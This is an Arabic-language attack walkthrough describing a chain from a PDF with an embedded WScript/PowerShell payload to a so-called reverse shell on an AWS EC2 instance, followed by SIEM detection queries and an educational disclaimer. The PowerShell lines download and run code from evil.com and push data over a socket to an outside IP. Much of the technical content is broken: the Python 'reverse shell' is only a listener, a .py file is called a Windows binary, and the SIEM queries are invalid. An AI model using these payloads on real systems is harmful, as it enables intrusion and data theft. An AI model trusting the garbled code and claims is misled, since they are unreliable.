
سلسلة عملية تبدأ بملف PDF غير ضار وتنتهي بإنشاء قشرة عكسية (reverse shell) على مثيل AWS EC2
سلسلة هجوم عملية تبدأ بملف PDF بريء المظهر وتنتهي بشل عكسية على مثيل AWS EC2
يبدأ كل شيء في الواجهة الأمامية للهجوم. باستخدام كائن WScript المدمج في PowerShell، نقوم بتضمين سكربت داخل ملف PDF سيتم تسليمه إلى مضيف Windows. تسحب الحمولة ملفًا تنفيذيًا من نقطة نهاية HTTP بعيدة وتكتبه في نظام الملفات المحلي.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command `
`"$ssh = new-Object System.Net.Sockets.TcpClient; `
`$stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\\Users\\Admin\\rcmd.py | Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }"
"@
الميزة الأساسية هي أن ملف PDF لا يحتاج إلى خطوة تنزيل منفصلة: فهو يُسلَّم مباشرة إلى PowerShell، الذي يطلق بعد ذلك المرحلة التالية من السلسلة.
بمجرد تنفيذ سكربت PDF على المضيف الهدف (10.0.1.5)، نستخدم PowerShell لفتح اتصال SMB بمثيل EC2 (54.231.12.41) ودفع الملف التنفيذي الذي تم تنزيله حديثًا عبر ذلك المقبس. يمكن تشغيل الكود نفسه من أي محطة عمل تعمل بنظام Windows، مما يمنح المهاجم نقطة ارتكاز ذات بصمة منخفضة داخل شبكة الشركة المحلية.
$ssh = New-Object System.Net.Sockets.TcpClient
$ssh.Connect('54.231.12.41',445)
$stream = $ssh.GetStream()
Invoke-Expression (
New-Object System.Net.WebClient).DownloadString(
'https://evil.com/rcmd.py')
Get-Content -Path C:\\Users\\Admin\\rcmd.py |
Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }
تظهر حزمة SMB في سجلات تدقيق Windows كحدث قياسي (EventID 4624)، مما يجعل اكتشافها سهلاً في معظم لوحات SIEM.
القطعة الأخيرة من سلسلتنا هي شل عكسية صغيرة مكتوبة بلغة Python. تستمع لاتصال SSH قادم من EC2 إلى نفس المضيف، وتطبع سطر تصحيح في وحدة التحكم ثم تخرج. وبمجرد تجميعها في rcmd.py سيتم تنفيذها تلقائيًا بواسطة خطوة PowerShell أعلاه.
#!/usr/bin/env python3
import socket
def main():
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.bind(('0.0.0.0', 22))
listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if __name__ == '__main__':
main()
نظرًا لأنه ملف ثنائي ثابت يعمل أصليًا على Windows، فلا حاجة لتثبيت وكيل أو خدمة إضافية على المضيف الهدف.
يجب على فرق الأمان افتراض أن الاختراق ممكن وبناء استراتيجيات كشف متعددة الطبقات.
**حركة مرور غير طبيعية **
قم بالتصفية بحثًا عن حزم SMB كبيرة بشكل غير معتاد قادمة من المضيف الهدف.
index=siem_main sourcetype="netflow:smb"
| where size > med(size) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
استخدام مرتفع للذاكرة
استهلاك الذاكرة للملف الثنائي لإظهار أنه عملية غير بسيطة على المضيف الهدف.
index=siem_main sourcetype="perf:memory"
| where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**نافذة خارج ساعات العمل **
عادةً لا ينفذ مختصو الفريق الأحمر عملياتهم خلال ساعات العمل خوفًا من أن ينبه سكربتهم المستخدم بطريقة ما؛ سيفحص هذا الاستعلام حركة المرور في الأوقات التي قد تكون فيها غير متوقعة.
index=siem_main sourcetype="powershell:smbaudit"
| where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00"
| stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
هذا المشروع مخصص للأغراض التعليمية والبحثية فقط. لا تستخدم هذه التقنيات في بيئات غير مصرح بها.